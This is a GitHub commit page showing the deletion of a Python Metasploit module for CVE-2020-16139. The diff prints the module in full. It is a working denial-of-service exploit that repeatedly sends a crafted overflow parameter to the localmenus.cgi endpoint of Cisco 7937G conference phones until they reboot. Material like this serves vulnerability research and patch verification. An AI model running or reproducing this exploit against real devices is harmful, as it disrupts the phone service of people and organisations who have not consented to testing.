Delete CVE-2020-16139.py

This commit is contained in:
debifrank 2020-08-14 12:16:22 -04:00 committed by GitHub
parent 0e0bdc4f98
commit ffa23ba850
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 0 additions and 74 deletions

View File

@ -1,74 +0,0 @@
# Exploit Title: Cisco 7937G DoS 1 MSF Module
# Date: 2020-08-10
# Exploit Author: Cody Martin
# Author Homepage: debifrank.github.io
# Organization: BlackLanternSecurity
# Org. Homepage: BlackLanternSecurity.com
# Vendor Homepage: https://cisco.com
# Version: <=SCCP-1-4-5-7
# Tested On: SCCP-1-4-5-5, SCCP-1-4-5-7
# CVE: CVE-2020-16139
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# standard modules
from metasploit import module
import logging
# extra modules
dependencies_missing = False
try:
import requests
except ImportError:
dependencies_missing = True
metadata = {
'name': 'Cisco 7937G Denial-of-Service Reboot Attack',
'description': '''
DoS reset attack
''',
'authors': [
'Cody Martin'
],
'date': '2020-06-02',
'license': 'GPL_LICENSE',
'references': [
{'type': 'url', 'ref': 'https://blacklanternsecurity.com/2020-08-07-Cisco-Unified-IP-Conference-Station-7937G/'},
{'type': 'cve', 'ref': '2020-16139'},
{'type': 'edb', 'ref': '#'}
],
'type': 'dos',
'options': {
'rhost': {'type': 'address', 'description': 'Target address', 'required': True, 'default': 'None'}
}
}
def run(args):
module.LogHandler.setup(msg_prefix='{} - '.format(args['rhost']))
if dependencies_missing:
logging.error(
'Module dependency (requests) is missing, cannot continue')
return
# Exploit
url = "http://{}/localmenus.cgi".format(args['rhost'])
data = "A"*46
payload = {"func": "609", "data": data, "rphl": "1"}
logging.info("FIRING ZE MIZZLES!")
for i in range(1000):
try:
r = requests.post(url=url, params=payload, timeout=5)
if r.status_code != 200:
logging.error(
"Device doesn't appear to be functioning or web access is not enabled.")
return
except requests.exceptions.RequestException:
logging.info('DoS reset attack completed!')
return
if __name__ == '__main__':
module.run(metadata, run)